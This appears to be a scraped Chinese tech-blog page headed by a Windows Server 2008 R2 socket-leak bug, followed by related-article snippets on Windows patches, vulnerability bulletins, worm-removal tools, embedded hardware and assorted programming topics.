Windows Server 2008 R2系统BUG导致windows缓冲区已满(no buffer space),Windows核心套接字泄露问题导致操作系统套接字资源被耗尽,导致服务器与数据库无法正常对接。
【亲测免费】 最新蠕虫病毒专杀工具
最新蠕虫病毒专杀工具 【下载地址】最新蠕虫病毒专杀工具 最新蠕虫病毒专杀工具专为高效清除蠕虫病毒而设计。蠕虫病毒以其自我复制和快速传播的特性,对计算机系统构成严重威胁,传统杀毒软件往往难以彻底根除。本工具针对蠕虫病毒的特殊机制,提供高效清除方案,避免重装系统的繁琐步骤,节省宝贵时间。在清除病毒的同时,确保您的资料安全,无...
windows解决socket连接不释放补丁包
kb2577795,kb2553549 windows 2008 r2 补丁 解决No buffer space available 早期版本漏洞
从0到1做AI漫剧:即梦+豆包+剪映+红果全流程实战
AI视频生成正在重塑内容创作的生产方式,它让原本高门槛的影视制作,变成了一条由文本、画面、剪辑与分发环节协同的流水线。理解其底层原理,在于将大模型的语义理解、图像生成与视频合成能力,与工程化的流程管理相结合,从而实现从创意到成片的自动化输出。这种技术的价值,不仅体现在降低制作成本,更在于让个人创作者能够独立完成高质量短剧,并快速迭代内容。在短剧、短视频、广告营销等场景中,利用即梦生成画面、豆包编写剧本、剪映完成剪辑、红果进行分发的组合,已成为一种被广泛验证的实践路径。本文聚焦AI漫剧制作,从环境准备、分镜设
【亲测免费】 蠕虫病毒专杀工具介绍
蠕虫病毒专杀工具介绍 【下载地址】蠕虫病毒专杀工具介绍 面对蠕虫病毒难以彻底清除的难题,传统方法往往费时费力。本开源项目提供了一款专为蠕虫病毒设计的深度清理工具,有效弥补了常规杀毒软件的不足。通过使用这款工具,您可以高效清除蠕虫病毒,避免重做系统的麻烦,节省大量时间与精力。无论是个人用户还是企业,都能轻松应对蠕虫病毒带来...
Unity2D像素刀光实现:粒子方向控制与像素级渲染规范
像素风游戏中的刀光特效并非普通粒子动画,而是需严格遵循像素艺术原理的视觉暂留模拟。其核心在于将‘瞬时切割感’转化为程序可执行的渲染逻辑:通过禁用纹理滤波保障1:1像素锐度,绑定刀锋向量控制粒子运动方向,限定≤0.15秒生命周期匹配人眼暂留阈值,并采用Stretched Billboard实现动态拉伸拖影。该方案兼顾美术语义(如直劈、横扫、突刺)与工程约束(Sorting Layer分层、对象池复用、单粒子GPU优化),广泛适用于Unity2D平台的动作反馈系统,尤其适配《空洞骑士》《死亡细胞》类高节奏像素R
SHA-2代码签名补丁下载地址(win7 补丁下载安装)
SHA-2代码签名补丁下载地址(win7 补丁下载安装)
上、下拉电阻(定义、强弱上拉、常见作用、吸电流、拉电流、灌电流)
1.上、下拉电阻定义 上拉电阻是把一个信号通过一个电阻接到电源(Vcc),下拉电阻是一个信号通过一个电阻接到地(GND)。 2.强上拉、弱上拉 强上拉、弱上拉的强弱只是上拉电阻的阻值不同,没有什么严格区分。例如:50Ω上拉,一般成为强上拉;100kΩ上拉则称为弱上拉。下拉也是一样的。强拉电阻的极端就是0Ω电阻,即将信号线直接与电源或低相连接。 3.上、下拉电阻的作用 因为上下拉电阻的作用概念很宽泛,不用领域的使用方法也不同,常见使用方法整理如下: ...
企业级大数据平台的数据网格(Data Mesh)转型之路
随着企业数字化转型的深入,传统大数据平台面临数据孤岛化、治理成本高、业务响应慢等核心痛点。数据网格作为一种新兴的分布式数据管理架构,通过领域驱动设计(DDD)、数据产品化和联邦治理模式,为企业提供了打破数据壁垒、提升数据生产力的全新路径。本文聚焦企业级数据平台从传统架构(数据湖/数据仓库)向数据网格转型的关键技术、实施步骤和组织配套,涵盖技术架构设计、核心算法实现、项目实战案例及工具链推荐。背景介绍:定义转型目标、术语体系与核心挑战核心概念与联系:解析数据网格四大支柱及技术架构图谱核心算法原理。
微软Win10最新补丁KB5017380更新了什么?
新版本修复了cldflt.sys的问题,还解决了explorer.exe停止工作的情况,并且还引入了WebAuthn重定向。我们修复了影响安全密钥和 Fast Identity Online 2.0 (FIDO2) 身份验证的缓存凭据的问题。我们修复了影响 Windows Defender 应用程序控制 (WDAC) 路径规则的问题。我们修复了影响 Javascript 生成的 URL 的问题:URL。我们修复了影响 Windows Defender 应用程序控制 (WDAC) 的问题。
【EMC专题】为什么芯片规格书ESD性能中看不到MM(机器放电模型)
器件级ESD包括三种类型,HBM人体放电模型、MM机械放电模型和CDM元件充电模型。但在芯片规格书中为什么只见到HBM模型与CDM模型,却没有看到MM模型的数据?
360更新补丁一直提示正在安装_微软确认Windows 10所有版本在安装最新6月累积更新补丁后都会破坏打印机功能...
首先先给大家说一个重要的事情,鹰王系统站和MSDN系统网站将于近期进行网站ICP备案,备案期间是不允许打开的,大概7-15天即可完成备案,如果近期你发现网站无法访问打不开,说明是在备案期间,备案通过后即可正常打开访问。如果你急需下载系统使用,也可暂时访问另一个鹰王系统备用网站www.xtdsgho.com,MSDN原版系统备用网站www.msdnwogaosuni.com,如有疑问联系Q...
YOLO格式数据集划分
YOLO格式的数据集划分 标题标签格式txt import os import cv2 import random from PIL import Image # os.makedirs('labels_train') # os.makedirs('labels_val') img_train_path ='./img_train/' #图片训练集保存路径 img_val_path = './img_val/' #图片验证集保存路径 labels_train_path = './labels_t
[个人自用,全网最优]EDEM-FLUENT个人自学教程,拒绝手忙脚乱无用功!
[个人自用,全网最优]EDEM-FLUENT个人自学教程,拒绝手忙脚乱无用功!
微软贡献 Linux 内核代码,可运行多个 Windows
出品 | OSC开源社区(ID:oschina2013)近日微软为了扩展内核支持,为 Linux 内核提供了一系列的补丁,其中一个值得注意的地方是微软为 Linux 带来了运行嵌套监控程序(Hyper-V)或嵌套虚拟化的功能。这组补丁是由微软的 Linux 高级工程师 Jinank Jain 在本周三发出的,补丁说明如下:该系列补丁计划增加对运行嵌套式微软 Hypervisor(虚拟机监控程序) ...
数字滤波器应用介绍
线性滤波器FIR ,会引起恒定延迟,通过补零的方式补偿非线性滤波器IIR,会引起频率相关的延迟,通过零相位延迟filtfilt补偿从信号中去除不需要的频谱时,通过滤波和补偿实现。如果需要去除的频率与采样率相差甚远,比如4kHz 与100Hz, 可通过 低通滤波->补偿->降采样–> 滤波 补偿 -->上采样还原的方法。*降采样前一定要先低通滤波为了防止混叠。
收藏!小白程序员必看:如何应对网络安全补丁的洪流?
随着漏洞数量逐年激增,AI技术加速发现代码缺陷,网络安全运维面临巨大挑战。本文从实战角度出发,分享如何通过分层处理补丁、退役老旧资产等策略,平衡安全与风险。本文约1948字,阅读需4分钟本月漏洞补丁的消缺计划表发下来,计划多的我盯着看了半天没说话。以前这种表一个月一行,写"已消缺"就完事。现在一行写不下,得按系统拆成七八行,每行后面还得标清楚:这台能不能重启、业务影响不影响、有没有新设备没打过。往年一次网络安全专项检查,通知下来的时候离检查组进场只剩两周。
STM32F407中文手册
STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。
TMS_WebGMaps_1.9.8.0_Full_Source
TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder
【2025版】最新微软最新多个高危漏洞预警,收藏这篇就够了!
2月11日微软发布了修复总共 141 个漏洞的补丁,4 个被归类为关键级。其中有 2 个漏洞正在被在野利用,强调了立即更新的紧迫性。此外,1 个漏洞在此次补丁周期之前就已经被公开,这标志着它是一个0day漏洞。强烈建议用户优先更新这些补丁,以保护他们的系统免受潜在威胁。Windows Ancillary Function Driver for WinSock 提权漏洞 (CVE-2025-21418)此漏洞被识别为 CVE-2025-21418,严重程度评分为重要,CVSS 评分为 7.8。
温度PID控制PLC程序
温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值
【2025版】最新微软最新多个高危漏洞预警,从零基础到精通,收藏这篇就够了!
2月11日微软发布了修复总共 141 个漏洞的补丁,4 个被归类为关键级。其中有 2 个漏洞正在被在野利用,强调了立即更新的紧迫性。此外,1 个漏洞在此次补丁周期之前就已经被公开,这标志着它是一个0day漏洞。强烈建议用户优先更新这些补丁,以保护他们的系统免受潜在威胁。Windows Ancillary Function Driver for WinSock 提权漏洞 (CVE-2025-21418)此漏洞被识别为 CVE-2025-21418,严重程度评分为重要,CVSS 评分为 7.8。
汉书HE8,好用的汇编代码编写工具
汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大
Windows 零日漏洞遭利用:CVE-2024-49138 PoC 代码发布,从零基础到精通,收藏这篇就够了!
更为紧迫的是,安全研究员 MrAle_98在 GitHub 上发布了针对 CVE-2024-49138 的概念验证 (PoC) 漏洞。根据微软的公告,此漏洞影响了广泛的 Windows 系统。虽然关于该漏洞的具体细节很少,但微软证实,在补丁发布之前,该漏洞已被广泛利用。尽管微软尚未披露利用 CVE-2024-49138 的攻击的具体细节,但一家领先安全公司的参与表明,详细的利用报告可能会很快发布。这也是耗费了大白近四个月的时间,吐血整理,文章非常非常长,觉得有用的话,希望粉丝朋友帮忙点个**「分享」
MICROSOFT REPORT VIEWER 2012之无法加载相关的dll
MICROSOFT REPORT VIEWER 2012之无法加载相关的dll 使用VS 2012开发报表, 如果是使用的微软的报表控件的话,默认是使用的MICROSOFT REPORT VIEWER 2012,本地开发基本上没问题,但是一发布服务器,就会发现坑了,微软挖坑从来就不打招呼,坑你没商量。 之前使用Report Viewer,只要看到...
Microsoft 补丁,文档下载
Microsoft 补丁,文档下载 1. Visual studio 6.0 sp5 http://download.microsoft.com/download/vstudio60ent/SP5/Wideband-Full/WIN98Me/EN-US/vs6sp5.exe sp6英文版地址: http://download.micr...
6219



被折叠的 条评论
为什么被折叠?



